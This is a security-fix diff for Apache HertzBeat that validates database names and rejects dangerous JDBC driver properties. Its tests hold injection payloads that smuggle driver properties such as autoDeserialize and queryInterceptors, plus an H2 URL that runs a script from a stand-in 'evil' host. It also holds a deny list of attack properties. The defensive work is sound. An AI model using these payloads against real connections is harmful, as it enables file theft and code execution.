[fix] stop jdbc connection properties injected through the database name

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java

@@ -30,6 +30,9 @@
 import org.apache.hertzbeat.common.entity.manager.Monitor;
 import org.apache.hertzbeat.common.entity.manager.Param;
 import org.apache.hertzbeat.common.util.AesUtil;
+import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.IpDomainUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
 import org.apache.hertzbeat.manager.pojo.dto.MonitorDto;
 import org.apache.hertzbeat.manager.service.MonitorService;
 import org.springframework.ai.tool.annotation.Tool;
@@ -240,11 +243,21 @@ private String getParamValue(List<Param> params, String field) {
 
     private String buildJdbcUrl(String platform, String host, String port, String database) {
         String effectivePort = (port == null || port.isEmpty()) ? "3306" : port;
-        String effectiveDb = (database == null || database.isEmpty()) ? "" : database;
-
-        return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
+        // host, port and database come from monitor parameters and are concatenated into the url,
+        // so they must not carry url syntax of their own
+        String effectiveDb = JdbcUrlSafetyUtil.requireSafeDatabaseName(database);
+        if (!IpDomainUtil.validateIpDomain(host)) {
+            throw new IllegalArgumentException("Invalid database host: " + host);
+        }
+        if (!CommonUtil.isNumeric(effectivePort)) {
+            throw new IllegalArgumentException("Invalid database port: " + effectivePort);
+        }
+
+        String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
                 + "?useUnicode=true&characterEncoding=utf-8&useSSL=false"
                 + "&allowPublicKeyRetrieval=true&connectTimeout=5000";
+        JdbcUrlSafetyUtil.requireSafeJdbcUrl(url);
+        return url;
     }
 
     private String executeAndFormat(String url, String username, String password, 

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java

@@ -46,6 +46,7 @@
 import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
 import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
 import org.apache.sshd.common.SshException;
 import org.apache.sshd.common.channel.exception.SshChannelOpenException;
 import org.postgresql.util.PSQLException;
@@ -605,28 +606,33 @@ private String constructDatabaseUrl(JdbcProtocol jdbcProtocol, String host, Stri
             return url;
         }
         assert jdbcProtocol.getPlatform() != null;
-        return switch (jdbcProtocol.getPlatform()) {
+        // the database name is concatenated into the url below, so it must not carry url syntax
+        String database = JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase());
+        String constructedUrl = switch (jdbcProtocol.getPlatform()) {
             case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase())
+                    + "/" + database
                     + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
             case "xugu" -> "jdbc:xugu://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "postgresql" -> "jdbc:postgresql://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port
-                    + ";" + (jdbcProtocol.getDatabase() == null ? "" : "DatabaseName=" + jdbcProtocol.getDatabase())
+                    + ";" + (database.isEmpty() ? "" : "DatabaseName=" + database)
                     + ";trustServerCertificate=true;";
             case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "dm" -> "jdbc:dm://" + host + ":" + port;
             case "db2" -> "jdbc:db2://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "testcontainers" -> "jdbc:tc:" + host + ":" + port
-                    + ":///" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()) + "?user=root&password=root";
+                    + ":///" + database + "?user=root&password=root";
             default -> throw new IllegalArgumentException("Not support database platform: " + jdbcProtocol.getPlatform());
         };
+        // fail closed if any concatenated value still smuggled a driver property through
+        JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl);
+        return constructedUrl;
     }
 
     private static final class ResultSetJdbcQueryRowSet implements JdbcQueryRowSet {

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java

@@ -185,6 +185,29 @@ void testConstructDatabaseUrlRejectsUnsupportedPlatform() {
         assertEquals("Not support database platform: invalid", exception.getMessage());
     }
 
+    /**
+     * The url blacklist only guards a user supplied url. Driver properties smuggled through the
+     * database name reach the very same connection, so they have to be rejected too.
+     */
+    @Test
+    void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() {
+        String[] payloads = {
+            "test?allowLoadLocalInfile=true&z=",
+            "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+            "test&useSSL=false",
+        };
+        for (String payload : payloads) {
+            JdbcProtocol jdbcProtocol = JdbcProtocol.builder()
+                    .platform("mysql")
+                    .database(payload)
+                    .build();
+
+            assertThrows(IllegalArgumentException.class,
+                    () -> constructDatabaseUrl(jdbcCommonCollect, jdbcProtocol, "localhost", "3306"),
+                    "database name should be rejected: " + payload);
+        }
+    }
+
     @Test
     void testCloseConnectionWhenCreateStatementFails() throws Exception {
         String url = "jdbc:postgresql://localhost:5432/hertzbeat";

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java

@@ -0,0 +1,99 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+/**
+ * Safety helpers for building JDBC connection urls from user supplied monitor parameters.
+ *
+ * <p>Connection parameters such as the database name are concatenated into the jdbc url. Without
+ * restriction a value like {@code db?allowLoadLocalInfile=true} injects arbitrary driver properties,
+ * which a malicious database server turns into local file disclosure or deserialization on the
+ * connecting jvm. The url blacklist only guards the url a user types in directly, so every other
+ * value that reaches the url has to be constrained here.
+ */
+public final class JdbcUrlSafetyUtil {
+
+    /**
+     * Identifier characters accepted in a database or schema name. Deliberately excludes the
+     * characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; # space}.
+     */
+    private static final Pattern DATABASE_NAME_PATTERN = Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$");
+
+    /**
+     * Driver properties that turn a connection into a client side attack. Checked against the
+     * assembled url so a concatenation mistake anywhere still fails closed.
+     */
+    private static final String[] DANGEROUS_URL_PROPERTIES = {
+            // file IO - lets a malicious server read files from the connecting host
+            "allowloadlocalinfile", "allowloadlocalinfileinpath", "uselocalinfile",
+            // code execution and deserialization
+            "autodeserialize", "detectcustomcollations", "queryinterceptors", "statementinterceptors",
+            "exceptioninterceptors", "javaobjectserializer", "serverstatusdiffinterceptor",
+            "socketfactory", "init=", "runscript",
+            // multi statement execution
+            "allowmultiqueries",
+            // remote object lookup
+            "jndi:", "ldap:", "rmi:",
+    };
+
+    private JdbcUrlSafetyUtil() {
+    }
+
+    /**
+     * Validate a database or schema name that is about to be concatenated into a jdbc url.
+     *
+     * @param database database name, may be null or empty
+     * @return the database name, or an empty string when nothing was supplied
+     * @throws IllegalArgumentException when the name contains jdbc url syntax
+     */
+    public static String requireSafeDatabaseName(String database) {
+        if (database == null || database.isEmpty()) {
+            return "";
+        }
+        if (!DATABASE_NAME_PATTERN.matcher(database).matches()) {
+            throw new IllegalArgumentException("Invalid database name: only letters, digits, "
+                    + "'_', '$', '.' and '-' are allowed, up to 64 characters");
+        }
+        return database;
+    }
+
+    /**
+     * Reject an assembled jdbc url that carries a driver property known to be attacker useful.
+     *
+     * <p>Applies to urls this project builds itself. Urls typed in by a user go through the wider
+     * platform aware checks in the collector before reaching here.
+     *
+     * @param url assembled jdbc url
+     * @throws IllegalArgumentException when a dangerous property is present
+     */
+    public static void requireSafeJdbcUrl(String url) {
+        if (url == null || url.isEmpty()) {
+            return;
+        }
+        String normalized = url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", "");
+        for (String property : DANGEROUS_URL_PROPERTIES) {
+            if (normalized.contains(property)) {
+                throw new IllegalArgumentException(
+                        "Invalid JDBC URL: contains potentially malicious parameter: " + property);
+            }
+        }
+    }
+}

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java

@@ -0,0 +1,90 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+/**
+ * Test case for {@link JdbcUrlSafetyUtil}
+ */
+class JdbcUrlSafetyUtilTest {
+
+    @Test
+    void testAcceptsOrdinaryDatabaseNames() {
+        assertEquals("hertzbeat", JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat"));
+        assertEquals("my_db-1", JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1"));
+        assertEquals("orcl.example.com", JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com"));
+        assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null));
+        assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(""));
+    }
+
+    @ValueSource(strings = {
+        // the payload that turns a monitor into local file disclosure on the collector
+        "test?allowLoadLocalInfile=true&z=",
+        "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+        // any character that carries jdbc url meaning has to be refused
+        "db&user=root",
+        "db=x",
+        "db/../other",
+        "db;DatabaseName=other",
+        "db:1234",
+        "db#fragment",
+        "db name",
+        "?leadingQuestion",
+    })
+    @ParameterizedTest
+    void testRejectsDatabaseNamesCarryingUrlSyntax(String database) {
+        assertThrows(IllegalArgumentException.class,
+                () -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database));
+    }
+
+    @Test
+    void testRejectsDatabaseNameOverLength() {
+        assertThrows(IllegalArgumentException.class,
+                () -> JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65)));
+    }
+
+    @Test
+    void testAcceptsUrlsThisProjectBuilds() {
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:oracle:thin:@localhost:1521/orcl"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null));
+    }
+
+    @ValueSource(strings = {
+        "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true",
+        "jdbc:mysql://localhost:3306/test?autoDeserialize=true",
+        "jdbc:mysql://localhost:3306/test?queryInterceptors=x",
+        "jdbc:mysql://localhost:3306/test?allowMultiQueries=true",
+        "jdbc:postgresql://localhost:5432/test?socketFactory=x",
+        "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'",
+    })
+    @ParameterizedTest
+    void testRejectsUrlsCarryingDangerousDriverProperties(String url) {
+        assertThrows(IllegalArgumentException.class, () -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(url));
+    }
+}